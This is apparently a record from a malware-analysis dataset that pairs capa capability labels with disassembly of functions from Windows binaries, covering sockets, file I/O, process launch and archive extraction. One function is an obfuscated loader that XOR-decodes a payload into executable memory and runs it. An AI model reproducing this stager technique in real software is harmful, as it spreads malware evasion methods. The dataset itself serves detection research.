joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428102
Capabilities:
Get file size

Disassembly:
push ebp
mov eax, str.__a_href_s153__Badlist__a___nbsp__nbsp_____a_href_s154__Goodlist__a__nbsp__nbsp_____a_href_s155__Graylist__a___nbsp__nbsp_____a_href_s156__Antivirus__a___nbsp__nbsp_____a_href_s157__DNS_hosts__a___nbsp__nbsp_____a_href_s158__Config_file__a____br__br___form_methodpost_namem__n_input_typehidden_names_value_u___center__n_h2__s__h2__n_s_n__center__n_script_languagejavascript___n_nfunction_AddE_a__n_n_document.m.v.value____n_a__n_nfunction_AddEm_a_b__n_n_document.m.v.value____n______a________b________n_n_n__script__n_table_border0_bgcolorF0F8F8__n_tr_valignbottom__n_td__n
mov ebp, esp
push edi
lea edi, [ecx + 4]
push esi
push ebx
sub esp, 0x228
mov esi, dword [ebp + 8]
mov dword [ebp - 0x21c], ecx
mov ecx, str.__a_href___wmail___s25__Badlist__a___nbsp__nbsp_____a_href___wmail___s26__Goodlist__a__nbsp__nbsp_____a_href___wmail___s27__Graylist__a___nbsp__nbsp_____a_href___wmail___s28__Forward__a____br__br___form_methodpost_namem__n_input_typehidden_names_value_u___center__n_h2__s__h2__n_s_n__center__n_script_languagejavascript___n_nfunction_AddE_a__n_n_document.m.v.value____n_a__n_nfunction_AddEm_a_b__n_n_document.m.v.value____n______a________b________n_n_n__script__n_table_border0_bgcolorF0F8F8__n_tr_valignbottom__n_td__n
mov ebx, esi
lea edx, [esi + 0x1f]
and ebx, 0x3f
and esi, 0x80
cmove eax, ecx
push dword [ebx*4 + 0x438e80]
push dword [ebx*4 + 0x438f10]
push edx
push eax
push edi
call fcn.0042ca58
add esp, 0x18
push dword [ebx*4 + 0x438ec8]
push edi
call fcn.0042ca58
pop eax
pop edx
push str.__ul___n__ul___n_br__br__center__textarea_namev_rows30_cols80__
push edi
call fcn.0042ca58
add esp, 0x10
test esi, esi
je 0x428189
mov eax, dword [ebx*4 + 0x438ee0]
mov eax, dword [eax]
test eax, eax
je 0x42824a
push ecx
push eax
push 0x4486cc
jmp 0x42819e
mov eax, dword [ebp - 0x21c]
push dword [ebx*4 + 0x438ef8]
push dword [eax + 0x14]
push 0x4486cf
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x218]
add esp, 0x10
push ecx
push ecx
push 0
push eax
call fcn.0040357d
mov esi, eax
pop eax
pop edx
test esi, esi
js 0x42824a
push ecx
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
pop eax
pop edx
test ecx, ecx
je 0x42823d
sub esp, 0xc
lea eax, [ecx + 0x800]
mov dword [ebp - 0x220], ecx
push eax
call fcn.0042d128
mov ecx, dword [ebp - 0x220]
add esp, 0xc
mov dword [ebp - 0x220], eax
push ecx
push eax
push esi
call fcn.00403603
mov edx, dword [ebp - 0x220]
mov byte [edx + eax], 0
push ecx
mov ecx, dword [ebp - 0x21c]
push 0x44857d
push edx
call fcn.00427462
pop eax
pop edx
mov edx, dword [ebp - 0x220]
test edx, edx
je 0x42823d
sub esp, 0xc
push edx
call fcn.0042d10c
add esp, 0x10
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0xc
push eax
push eax
push str.__textarea__n_br__n
push edi
call fcn.0042ca58
push str.Submit
push dword [ebx*4 + 0x438e98]
push dword [ebx*4 + 0x438eb0]
push edi
call fcn.0042ca58
add esp, 0x20
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x429301
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x429544
Capabilities:
Create tcp socket
Get local ipv4 addresses
Get socket information
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
lea esi, [ebx + 0x12c]
sub esp, 0x260
mov dword [ecx + 0x12c], 2
mov dword [ecx + 0x130], 0x100007f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0x128], 0x10
push ecx
mov dword [ebx + 0x104], eax
push ecx
push 4
push 0x42e4a4
push 4
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push edi
push edi
push 0x10
push esi
push dword [ebx + 0x104]
call dword [sym.imp.WS2_32.dll_bind]
add esp, 0x14
test eax, eax
jns 0x4295d5
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
sub esp, 0xc
push eax
call fcn.004037a9
mov esi, eax
call edi
push esi
push eax
push str.FCGI_bind_error__d__s_r_n
jmp 0x42963f
mov dword [ebp - 0x260], 0x10
lea eax, [ebp - 0x260]
push edx
push eax
push esi
push dword [ebx + 0x104]
call dword [sym.imp.WS2_32.dll_getsockname]
movzx eax, word [ebx + 0x12e]
xchg al, ah
push eax
push str.FCGI_bind_ok._port__u_r_n
push 0x4634a0
call fcn.0040423a
pop ecx
pop esi
push 1
push dword [ebx + 0x104]
call dword [sym.imp.WS2_32.dll_listen]
pop edi
pop edx
test eax, eax
jns 0x429651
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
sub esp, 0xc
push eax
call fcn.004037a9
mov esi, eax
call edi
push esi
push eax
push str.FCGI_listen_error__d__s_r_n
push 0x4634a0
call fcn.0040423a
add esp, 0x20
jmp 0x429713
mov edx, dword [ebp + 8]
lea eax, [ebx + 4]
mov ecx, 0x100
lea esi, [ebp - 0x25c]
mov edi, esi
call fcn.0042952c
mov ecx, 0x44
xor eax, eax
test edi, edi
je 0x429679
jecxz 0x429679
cld
rep stosb byte es:[edi], al
mov eax, dword [ebx + 0x104]
sub esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x25c], 0x44
mov dword [ebp - 0x230], 0x181
mov word [ebp - 0x22c], 0
mov dword [ebp - 0x224], eax
push 0xfffffffffffffff5
call edi
mov dword [ebp - 0x220], eax
push 0xfffffffffffffff4
call edi
mov edx, dword [ebp + 8]
lea edi, [ebp - 0x218]
mov ecx, 0x200
add esp, 0xc
mov dword [ebp - 0x21c], eax
mov eax, edi
call fcn.0042952c
push eax
push eax
push 0x5c
push edi
call fcn.00403476
add esp, 0x10
test eax, eax
je 0x4296eb
mov byte [eax], 0
sub esp, 0xc
lea eax, [ebx + 0x10c]
push eax
push esi
push edi
push str.SFCGI
push dword [ebp + 8]
call fcn.00407970
add esp, 0x20
xor edx, edx
mov dword [ebx + 0x108], eax
test eax, eax
jne 0x429728
sub esp, 0xc
push dword [ebx + 0x104]
call dword [sym.imp.WS2_32.dll_closesocket]
or edx, 0xffffffff
add esp, 0xc
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x429734
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push ebx
mov ebx, ecx
push eax
add ebx, 0x12c
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
push edx
push edx
push 4
push 0x42e4a4
push 4
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push ecx
push ecx
push dword [ebx - 4]
push ebx
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
mov edx, eax
add esp, 0x14
xor eax, eax
test edx, edx
jns 0x42979a
sub esp, 0xc
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], 0
or eax, 0xffffffff
add esp, 0xc
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 4

Function at 0x42984a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x220]
mov esi, 0x43db60
push ebx
mov ebx, ecx
sub esp, 0x238
mov edx, dword [ebp + 8]
push edx
call fcn.0042d208
mov dword [ebp - 0x230], eax
pop eax
push dword [ebp + 0xc]
call fcn.0042d208
mov ecx, 8
mov dword [ebp - 0x22c], eax
test edi, edi
je 0x429893
test esi, esi
je 0x429893
jecxz 0x429893
cld
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 4]
mov esi, dword [ebp - 0x230]
add esp, 0x10
add esi, dword [ebp - 0x22c]
cmp dword [ebp - 0x22c], 0x7e
mov eax, dword [eax + 0x64]
mov edx, dword [ebp + 8]
mov word [ebp - 0x21e], ax
mov al, byte [ebp - 0x230]
mov byte [ebp - 0x218], al
jg 0x42990f
lea eax, [esi + 2]
xchg al, ah
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x216]
add esi, 0xa
push dword [ebp + 0xc]
push edx
push 0x448be2
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov al, byte [ebp - 0x22c]
push 0
push esi
mov byte [ebp - 0x217], al
lea eax, [ebp - 0x220]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
add esp, 0x10
jmp 0x429980
lea eax, [esi + 5]
xchg al, ah
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x213]
push dword [ebp + 0xc]
push edx
push 0x448be7
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [ebp - 0x22c]
xchg al, ah
rol eax, 0x10
xchg al, ah
mov dword [ebp - 0x217], eax
or eax, 0xffffff80
mov esi, dword [sym.imp.WS2_32.dll_send]
mov byte [ebp - 0x217], al
mov eax, dword [ebp - 0x230]
push 0
add eax, 0xd
push eax
lea eax, [ebp - 0x220]
push eax
push dword [ebx]
call esi
add esp, 0x10
test eax, eax
jle 0x429980
push 0
push dword [ebp - 0x22c]
push dword [ebp + 0xc]
push dword [ebx]
call esi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x42a06a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
sub esp, 0x14
mov eax, dword [ecx + 0x104]
test eax, eax
jle 0x42a094
sub esp, 0xc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx + 0x104], 0
add esp, 0xc
cmp dword [ebx + 0x108], 0
jle 0x42a0cc
push eax
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebx + 0x10c]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0xc], 0x103
pop eax
pop edx
jne 0x42a0cc
push edx
push edx
push 0
push dword [ebx + 0x10c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop ecx
pop eax
push eax
push 0
push ebx
push 0x46344c
call fcn.0042a037
mov ebx, dword [ebp - 4]
add esp, 0x10
leave
ret

Function at 0x42a1e6
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ecx, 0xfe
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x118]
mov eax, ebx
sub esp, 0x10c
mov edx, dword [0x46cccc]
call fcn.0042a12c
push ecx
push ecx
push 0x5c
push ebx
call fcn.00403476
add esp, 0x10
test eax, eax
je 0x42a233
mov dl, byte [ebp - 0x118]
cmp dl, 0x27
je 0x42a22b
cmp dl, 0x22
jne 0x42a22e
mov byte [eax], dl
inc eax
mov byte [eax], 0
jmp 0x42a243
push eax
push eax
push ebx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
pop eax
pop edx
mov eax, dword [0x46c984]
push esi
push esi
shr eax, 0xc
and eax, 1
push eax
push ebx
push dword [ebp + 8]
push str.cmd.exe
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, eax
pop edi
pop eax
cmp ebx, 0x1f
jg 0x42a29d
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 0xc
mov esi, dword [0x463488]
push eax
mov edi, eax
call fcn.004037a9
pop edx
pop ecx
push eax
push edi
push ebx
push dword [ebp + 8]
push str._Error_run_script__s___error_code_d____d__s_r_n
push esi
call fcn.0040423a
add esp, 0x20
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x42af16
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
imul eax, ebx, 0x14
cmp dword [eax + 0x479ad0], 0
jne 0x42af48
push 0
lea esi, [eax + 0x479ac0]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x10], eax
sub esp, 0xc
imul esi, ebx, 0x14
push ebx
add esi, 0x479ac0
call fcn.0042ae4e
add esp, 0xc
push 0x10
push 0
push esi
call fcn.0042d1cc
pop eax
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x1c]
push esi
push eax
push dword [ebp + 0x10]
push edi
push dword [ebx*4 + 0x43dbf0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
test eax, eax
jne 0x42afd3
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x3e5
je 0x42afcc
call esi
sub esp, 0xc
mov edi, dword [0x463488]
push eax
mov esi, eax
call fcn.004037a9
mov dword [esp], eax
push esi
push ebx
push str.TAP_u_write_error__d__s_r_n
push edi
call fcn.0040423a
mov dword [ebp + 0x10], 0
add esp, 0x20
jmp 0x42afd3
mov dword [ebx*4 + 0x479a98], edi
mov eax, dword [ebp + 0x10]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x42ba19
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [str.192.168.111.20]
test eax, eax
je 0x42ba49
cmp byte [eax], 0
je 0x42ba49
sub esp, 0xc
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004125ec
add esp, 0x10
mov dword [0x479948], eax
mov dword [0x479940], eax
mov eax, dword [str.192.168.112.20]
test eax, eax
je 0x42ba73
cmp byte [eax], 0
je 0x42ba73
sub esp, 0xc
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004125ec
add esp, 0x10
mov dword [0x47994c], eax
mov dword [0x479944], eax
test byte [0x46c984], 8
je 0x42ba89
sub esp, 0xc
push 0
call fcn.0042adc4
add esp, 0x10
test byte [0x46c984], 0x10
je 0x42ba9f
sub esp, 0xc
push 1
call fcn.0042adc4
add esp, 0x10
cmp dword [0x43dbf0], 0xffffffff
jne 0x42bab4
or eax, 0xffffffff
cmp dword [0x43dbf4], 0xffffffff
je 0x42bb01
mov eax, dword [0x47997c]
sub esp, 0xc
lea eax, [eax*4 + 4]
push eax
call fcn.0042d128
add esp, 0x10
mov dword [0x479a88], eax
test eax, eax
jne 0x42badf
call fcn.0042b9dc
or eax, 0xffffffff
jmp 0x42bb01
push eax
push eax
push 0x46c4e0
push 0
push 0
push 0x42b804
push 0x9000
push 0x42e458
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edx
pop ecx
leave
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403e59
pop dword [ebp - 0x1c]
mov eax, 0x1c17b625
add eax, 0xe4288834
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe412be60
add dword [ebp - 0x2c], 0x6a3f86eb
mov dword [ebp - 0x28], 0x7561a6de
sub dword [ebp - 0x28], 0x432e5a99
mov dword [ebp - 0x24], 0x9e28892a
add dword [ebp - 0x24], 0xae23bb04
mov dword [ebp - 0x20], 0xdfbc3ffa
sub dword [ebp - 0x20], 0xdfbc3ffa
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x40a94194
add eax, 0xbf972ed0
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x20bd78c4
add dword [ebp - 0x2c], 0x53b4f092
mov dword [ebp - 0x28], 0x804b2d90
add dword [ebp - 0x28], 0xc12133e5
mov dword [ebp - 0x24], 0xef134867
sub dword [ebp - 0x24], 0x8ba3dbfb
mov dword [ebp - 0x20], 0xb494ad6
add dword [ebp - 0x20], 0xf4b6b52a
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x655d00c0
sub eax, 0x651c9018
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x34721
push 0
call eax
mov ecx, 0x3ecb
mov edx, eax
mov edi, 0x1a36c2f6
sub edi, 0x19f5c2f6
add edi, dword [ebp - 0x1c]
mov esi, 0xca9ce9b5
add esi, 0x2132a2e6
sub dword [ebp - 0x10], esi
mov ebx, dword [edi]
add dword [ebp - 4], esi
xor ebx, esi
add dword [ebp - 0x18], 0x71ce1fcc
mov dword [edx], ebx
xor dword [ebp - 0x14], 0xcdf49611
add edx, 4
add edi, 0x5bf76d96
add edi, 0xa408926e
loop 0x403f75
add eax, 0x31f2a8b7
sub eax, 0x31f1bab8
xor ebx, ebx
add ebx, eax
add eax, 0xcd0a38e7
add eax, 0x32f5c71e
mov ecx, 0xa6a916f9
sub ecx, 0xa66916f9
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401040
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x48
push ebx
push esi
xor ebx, ebx
lea eax, [esp + 0x18]
push 0x38
push str.1.2.13
push eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
call fcn.00409a70
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401094
mov eax, dword [esp + 0x58]
push esi
add eax, 0x12
push eax
push str.Failed_to_extract__s:_inflateInit___failed_with_return_code__d__n
call fcn.00402380
add esp, 0xc
or eax, 0xffffffff
pop esi
pop ebx
add esp, 0x48
ret
push 0x2000
call fcn.00411b19
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4010c8
mov eax, dword [esp + 0x58]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_failed_to_allocate_temporary_input_buffer__n
push str.malloc
call fcn.00402220
add esp, 0xc
jmp 0x4011f0
push 0x2000
call fcn.00411b19
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4010fa
mov ecx, dword [esp + 0x58]
add ecx, 0x12
push ecx
push str.Failed_to_extract__s:_failed_to_allocate_temporary_output_buffer__n
push str.malloc
call fcn.00402220
add esp, 0xc
jmp 0x4011f0
mov eax, dword [esp + 0x58]
xor ecx, ecx
push ebp
mov ebp, dword [esp + 0x60]
push edi
mov eax, dword [eax + 8]
mov edi, dword [esp + 0x68]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
jb 0x401129
ja 0x401122
cmp eax, 0x2000
jbe 0x401129
mov esi, 0x2000
jmp 0x40112b
mov esi, eax
mov eax, dword [esp + 0x5c]
push dword [eax]
push esi
push 1
push dword [esp + 0x24]
call fcn.0040da4f
add esp, 0x10
cmp eax, esi
jne 0x4011eb
mov eax, dword [esp + 0x5c]
push dword [eax]
call fcn.0040d83d
add esp, 4
test eax, eax
jne 0x4011eb
sub dword [esp + 0x10], esi
mov dword [esp + 0x24], esi
sbb dword [esp + 0x14], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x30], 0x2000
push 0
push eax
mov dword [esp + 0x34], ebx
call fcn.00408060
add esp, 8
mov dword [esp + 0x1c], eax
lea ecx, [eax + 4]
cmp ecx, 6
ja case.0x4011a0.1
movzx ecx, byte [ecx + 0x401274]
jmp dword [ecx*4 + 0x401268]
mov esi, 0x2000
sub esi, dword [esp + 0x30]
test ebp, ebp
je 0x401214
push ebp
push esi
push 1
push ebx
call fcn.0040e167
add esp, 0x10
cmp eax, esi
jne 0x4011d2
push ebp
call fcn.0040d83d
add esp, 4
test eax, eax
je 0x401225
or eax, 0xffffffff
push eax
mov eax, dword [esp + 0x64]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_decompression_resulted_in_return_code__d__n
call fcn.00402380
add esp, 0xc
or esi, 0xffffffff
pop edi
pop ebp
lea eax, [esp + 0x18]
push eax
call fcn.00409860
push dword [esp + 0x14]
call fcn.00411afe
push ebx
call fcn.00411afe
add esp, 0xc
mov eax, esi
pop esi
pop ebx
add esp, 0x48
ret
test edi, edi
je 0x401229
push esi
push ebx
push edi
call fcn.0040af10
add esp, 0xc
add edi, esi
mov eax, dword [esp + 0x1c]
cmp dword [esp + 0x30], 0
je 0x401172
cmp eax, 1
je 0x401263
mov ecx, dword [esp + 0x14]
test ecx, ecx
jne 0x401247
cmp dword [esp + 0x10], ecx
jbe 0x4011d5
mov eax, dword [esp + 0x10]
jmp 0x401115
mov eax, 0xfffffffd
jmp 0x4011d5
cmp eax, 1
jne 0x4011d5
xor esi, esi
jmp 0x4011ee
Function at 0x4012a0
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
mov edx, dword [ebp]
test edx, edx
jne 0x4012e5
lea eax, [ebp + 0x70]
push 0x4263b0
push eax
call fcn.004037a0
mov edx, eax
add esp, 8
mov dword [ebp], edx
test edx, edx
jne 0x4012e5
mov eax, dword [esp + 0x14]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00402380
add esp, 8
xor eax, eax
pop ebp
add esp, 8
ret
push ebx
mov ebx, dword [esp + 0x18]
xor eax, eax
push 0
mov ecx, dword [ebx + 4]
add ecx, dword [ebp + 8]
adc eax, dword [ebp + 0xc]
push eax
push ecx
push edx
call fcn.0040de65
add esp, 0x10
test eax, eax
jns 0x401324
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
push str.fseek
call fcn.00402220
add esp, 0xc
xor eax, eax
pop ebx
pop ebp
add esp, 8
ret
push esi
push edi
push dword [ebx + 0xc]
call fcn.00411b19
mov esi, eax
add esp, 4
mov dword [esp + 0x10], esi
test esi, esi
jne 0x401359
push dword [ebx + 0xc]
lea ecx, [ebx + 0x12]
push ecx
push str.Failed_to_extract__s:_failed_to_allocate_data_buffer___u_bytes___n
push str.malloc
call fcn.00402220
add esp, 0x10
jmp 0x4013d8
cmp byte [ebx + 0x10], 1
jne 0x40137d
push esi
push 0
push ebx
push ebp
call fcn.00401040
add esp, 0x10
test eax, eax
je 0x4013d8
push esi
call fcn.00411afe
add esp, 4
xor esi, esi
jmp 0x4013d8
mov eax, esi
mov esi, dword [ebx + 0xc]
xor ebx, ebx
mov dword [esp + 0x14], eax
test esi, esi
je 0x4013d4
nop dword [eax]
test ebx, ebx
jb 0x4013a5
ja 0x40139e
cmp esi, 0x2000
jbe 0x4013a5
mov edi, 0x2000
jmp 0x4013a7
mov edi, esi
push dword [ebp]
push 1
push edi
push eax
call fcn.0040da4f
add esp, 0x10
cmp eax, 1
jb 0x4013f9
mov eax, dword [esp + 0x14]
sub esi, edi
sbb ebx, 0
add eax, edi
mov dword [esp + 0x14], eax
test ebx, ebx
ja 0x40139e
jb 0x4013d4
test esi, esi
jne 0x401390
mov esi, dword [esp + 0x10]
mov eax, dword [ebp]
test eax, eax
je 0x4013ef
push eax
call fcn.0040d7e1
add esp, 4
mov dword [ebp], 0
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
add esp, 8
ret
mov eax, dword [esp + 0x20]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_failed_to_read_data_chunk__n
push str.fread
call fcn.00402220
mov esi, dword [esp + 0x1c]
add esp, 0xc
push esi
call fcn.00411afe
add esp, 4
xor esi, esi
jmp 0x4013d8
Function at 0x401430
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push ebp
call fcn.00406270
add esp, 4
cmp eax, 0xffffffff
jne 0x40144d
or eax, eax
pop ebp
add esp, 0xc
ret
push ebx
push esi
mov esi, dword [esp + 0x20]
lea eax, [ebp + 0x3070]
push edi
lea ebx, [esi + 0x12]
push ebx
push eax
mov dword [esp + 0x1c], ebx
call fcn.00406540
mov edi, eax
add esp, 8
mov dword [esp + 0x18], edi
test edi, edi
jne 0x401493
push ebx
push str.Failed_to_extract__s:_failed_to_open_target_file__n
push str.fopen
call fcn.00402220
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
add esp, 0xc
ret
mov edx, dword [ebp]
test edx, edx
jne 0x4014ca
lea eax, [ebp + 0x70]
push 0x4263b0
push eax
call fcn.004037a0
mov edx, eax
add esp, 8
mov dword [ebp], edx
test edx, edx
jne 0x4014ca
push ebx
push str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00402380
add esp, 8
or edi, 0xffffffff
jmp 0x4015f0
mov ecx, dword [esi + 4]
xor eax, eax
add ecx, dword [ebp + 8]
push 0
adc eax, dword [ebp + 0xc]
push eax
push ecx
push edx
call fcn.0040de65
add esp, 0x10
test eax, eax
jns 0x401501
push ebx
push str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
push str.fseek
call fcn.00402220
add esp, 0xc
or edi, 0xffffffff
jmp 0x4015f0
cmp byte [esi + 0x10], 1
jne 0x40151b
push 0
push edi
push esi
push ebp
call fcn.00401040
add esp, 0x10
mov edi, eax
jmp 0x4015f0
push 0x2000
xor edi, edi
call fcn.00411b19
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x40154d
push ebx
push str.Failed_to_extract__s:_failed_to_allocate_temporary_buffer__n
push str.malloc
call fcn.00402220
add esp, 0xc
or edi, 0xffffffff
jmp 0x4015f0
mov esi, dword [esi + 0xc]
xor ebx, ebx
test esi, esi
je 0x4015e7
nop word [eax + eax]
test ebx, ebx
jb 0x401575
ja 0x40156e
cmp esi, 0x2000
jbe 0x401575
mov edi, 0x2000
jmp 0x401577
mov edi, esi
push dword [ebp]
push 1
push edi
push eax
call fcn.0040da4f
add esp, 0x10
cmp eax, 1
jb 0x4015ca
push dword [esp + 0x18]
push 1
push edi
push dword [esp + 0x1c]
call fcn.0040e167
add esp, 0x10
cmp eax, 1
jb 0x4015ba
mov eax, dword [esp + 0x10]
sub esi, edi
sbb ebx, 0
test ebx, ebx
ja 0x40156e
jb 0x4015b6
test esi, esi
jne 0x401560
xor edi, edi
jmp 0x4015e3
push dword [esp + 0x14]
push str.Failed_to_extract__s:_failed_to_write_data_chunk__n
push str.fwrite
jmp 0x4015d8
push dword [esp + 0x14]
push str.Failed_to_extract__s:_failed_to_read_data_chunk__n
push str.fread
call fcn.00402220
add esp, 0xc
or edi, 0xffffffff
mov eax, dword [esp + 0x10]
push eax
call fcn.00411afe
add esp, 4
mov eax, dword [ebp]
test eax, eax
je 0x401607
push eax
call fcn.0040d7e1
add esp, 4
mov dword [ebp], 0
push dword [esp + 0x18]
call fcn.0040d7e1
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
add esp, 0xc
ret